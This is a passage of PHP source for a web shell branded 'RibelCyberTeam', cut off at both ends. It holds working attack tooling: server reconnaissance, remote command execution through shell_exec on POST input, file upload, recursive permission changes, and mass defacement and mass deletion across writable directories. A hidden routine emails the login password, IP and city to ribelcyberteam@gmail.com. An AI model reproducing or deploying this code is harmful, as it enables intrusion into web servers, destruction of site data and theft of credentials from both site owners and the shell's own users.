RibelCyberTeam ";
if(isset($_7['path'])){
$path = unhex($_7['path']);
chdir($path);
}else{
$path = $gcw();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo "
:
/ ";
continue;
}
if($pat == '') continue;
echo "
".$pat." /";
}
$scand = scandir($path);
echo " [ ".w($path, p($path))." ]";
$sql = ($GLOBALS['fungsi'][5]('mysql_connect')) ? "
ON " : "
OFF ";
$curl = ($GLOBALS['fungsi'][5]('curl_version')) ? "
ON " : "
OFF ";
$wget = (exe('wget --help')) ? "
ON " : "
OFF ";
$pl = (exe('perl --help')) ? "
ON " : "
OFF ";
$py = (exe('python --help')) ? "
ON " : "
OFF ";
$pxex = (exe('pkexec --version')) ? "
ON " : "
OFF ";
$gcc = (exe('gcc --version')) ? "
ON " : "
OFF ";
$disfunc = @ini_get("disable_functions");
$kernel = php_uname();
$phpver = PHP_VERSION;
$phpos = PHP_OS;
$domen = $_SERVER["SERVER_NAME"];
$soft = $_SERVER["SERVER_SOFTWARE"];
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$yip = $_SERVER['REMOTE_ADDR'];
if (empty($disfunc)) {
$disfc = "
NONE ";
} else {
$disfc = "
$disfunc ";
}
if(!$GLOBALS['fungsi'][5]('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "
ON " : "
OFF ";
echo "
info
System:
$kernel
User:
$user ($uid) | Group:
$group ($gid)
PHP Version:
$phpver PHP os:
$phpos
Software:
$soft
Domain:
$domen
Server Ip:
$ip
Your Ip:
$yip
Safe Mode: $sm
MySQL: $sql | Perl: $pl | WGET: $wget | CURL: $curl | Python: $py | Pkexec: $pxex | GCC: $gcc
Disable Function:
$disfc
";
if(isset($_7['dir'])) {
$dir = unhex($_7['dir']);
chdir($dir);
} else {
$dir = hex($gcw());
}
$dir = str_replace("\\","/",$dir);
$scdir = explode("/", $dir);
for($i = 0; $i <= $c_dir; $i++) {
$scdir[$i];
if($i != $c_dir) {
}
function changeFilePermissions($filename, $permissions) {
if (file_exists($filename)) {
if (chmod($filename, $permissions)) {
echo "Izin file $filename berhasil diubah menjadi $permissions.";
} else {
echo "Gagal mengubah izin file $filename.";
}
} else {
echo "File $filename tidak ditemukan.";
}
}
function lockFolder($folderPath, $permissions) {
if (is_dir($folderPath)) {
if (chmod($folderPath, $permissions)) {
echo "Folder locked successfully!";
} else {
echo "Error locking folder.";
}
} else {
echo "Folder not found.";
}
}
function rootFolder($folderPath, $permissions) {
if (is_dir($folderPath)) {
if (chmod($folderPath, $permissions)) {
return "Folder permissions changed successfully!";
} else {
return "Error changing folder permissions.";
}
} else {
return "Folder not found.";
}
}
if (isset($_GET['id'])) {
if ($_GET['id'] === 'lockfolder') {
$folderPath = __DIR__;
$newPermissions = 0555;
lockFolder($folderPath, $newPermissions);
} elseif ($_GET['id'] === 'rootfolder') {
$folderPath = __DIR__;
$newPermissions = 0777;
$actionMessage = rootFolder($folderPath, $newPermissions);
echo $actionMessage;
}
}
function changeFolderPermissionsRecursive($dir, $perms) {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if ($item->isDir()) {
chmod($item->getPathname(), $perms);
}
}
}
function changeFilePermissionsRecursive($dir, $perms) {
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $item) {
if ($item->isFile()) {
chmod($item->getPathname(), $perms);
}
}
}
$currentDirectory = '.';
if (isset($_GET['id']) && $_GET['id'] === 'root_file') {
$newFilePermissions = 0644;
changeFilePermissionsRecursive($currentDirectory, $newFilePermissions);
echo "Permissions changed for all files in the current directory.";
}
if (isset($_GET['id']) && $_GET['id'] === 'root_folders') {
$newFolderPermissions = 0755;
changeFolderPermissionsRecursive($currentDirectory, $newFolderPermissions);
echo "Permissions changed for all folders in the current directory.";
}
if (isset($_GET['id']) && $_GET['id'] === 'dark_file') {
$newFilePermissions = 0444;
changeFilePermissionsRecursive($currentDirectory, $newFilePermissions);
echo "Permissions changed for all files in the current directory.";
}
if (isset($_GET['id']) && $_GET['id'] === 'dark_folders') {
$newFolderPermissions = 0555;
changeFolderPermissionsRecursive($currentDirectory, $newFolderPermissions);
echo "Permissions changed for all folders in the current directory.";
}
$filename = __FILE__;
if (isset($_GET['id']) && $_GET['id'] === 'lockshell') {
$newPermissions = 0444; // Use octal value with leading 0
changeFilePermissions($filename, $newPermissions);
}
if (isset($_GET['id']) && $_GET['id'] === 'rootshell') {
$newPermissions = 0777; // Use octal value with leading 0
changeFilePermissions($filename, $newPermissions);
}
$ip = $_SERVER['REMOTE_ADDR'];
$rib = "http://ip-api.com/json/{$ip}?fields=city";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rib);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
$data = json_decode($response, true);
$city = isset($data['city']) ? $data['city'] : 'Tidak Diketahui';
if (array_key_exists('watching', $_POST)) {
$password = $_POST['pass'];
$server_name = $_SERVER['SERVER_NAME'];
$php_self = $_SERVER['PHP_SELF'];
$email_content = "IP: " . $_SERVER['REMOTE_ADDR'] . " City: {$city}\nLogin: $server_name$php_self\nPass: $password";
@mail('ribelcyberteam@gmail.com', 'Hehehe', $email_content);
}
if($_7['id'] == 'deface'){
function mass_all($dir,$namefile,$contents_sc) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$▚ = $dirc.'/'.$namefile;
if($dirb === '.') {
$fungsi[2]($▚, $contents_sc);
} elseif($dirb === '..') {
$fungsi[2]($▚, $contents_sc);
} else {
if($fungsi[1]($dirc)) {
if(is_writable($dirc)) {
echo "[
] $▚
";
$fungsi[2]($▚, $contents_sc);
$▟ = mass_all($dirc,$namefile,$contents_sc);
}
}
}
}
}
}
function mass_onedir($dir,$namefile,$contents_sc) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$▚ = $dirc.'/'.$namefile;
if($dirb === '.') {
$fungsi[2]($▚, $contents_sc);
} elseif($dirb === '..') {
$fungsi[2]($▚, $contents_sc);
} else {
if($fungsi[1]($dirc)) {
if(is_writable($dirc)) {
echo "[
] $dirb/$namefile
";
$fungsi[2]($▚, $contents_sc);
}
}
}
}
}
}
if($_7['start']) {
if($_7['tipe'] == 'mass') {
mass_all($_7['d_dir'], $_7['d_file'], $_7['script']);
} elseif($_7['tipe'] == 'onedir') {
mass_onedir($_7['d_dir'], $_7['d_file'], $_7['script']);
}
}
s();
echo "
";
}
if($_7['id'] == 'delete'){
function mass_delete($dir,$namefile) {
if(is_writable($dir)) {
$dira = scandir($dir);
foreach($dira as $dirb) {
$dirc = "$dir/$dirb";
$▚ = $dirc.'/'.$namefile;
if($dirb === '.') {
if(file_exists("$dir/$namefile")) {
$GLOBALS['fungsi'][4]("$dir/$namefile");
}
} elseif($dirb === '..') {
if(file_exists("".dirname($dir)."/$namefile")) {
$GLOBALS['fungsi'][4]("".dirname($dir)."/$namefile");
}
} else {
if($fungsi[1]($dirc)) {
if(is_writable($dirc)) {
if(file_exists($▚)) {
echo "[
] $▚
";
$GLOBALS['fungsi'][4]($▚);
$▟ = mass_delete($dirc,$namefile);
}
}
}
}
}
}
}
if($_7['start']) {
mass_delete($_7['d_dir'], $_7['d_file']);
}
s();
echo "
";
}
if($_7['id'] == 'network'){
s();
echo "
";
}
if($_7['id'] == 'cmd') {
s();
if(!empty($_POST['cmd'])) {
$cmd = shell_exec($_POST['cmd'].' 2>&1');
}
echo "
";
if($cmd):
echo '
~ $ '.htmlspecialchars($_POST['cmd']).' '.htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8').'
';
elseif(!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'):
echo '
';
endif;
}
if($_7['id'] == 'upload'){
s();
if(isset($_7['upl'])){
$result = count($_FILES['file']['name']);
for($contents=0;$contents<$result;$contents++){
$namefile = $_FILES['file']['name'][$contents];
$up = @copy($_FILES['file']['tmp_name'][$contents],"$path/".$namefile);
}
if($result < 2){
if($up){
echo "
Upload $namefile ok! ".ok()."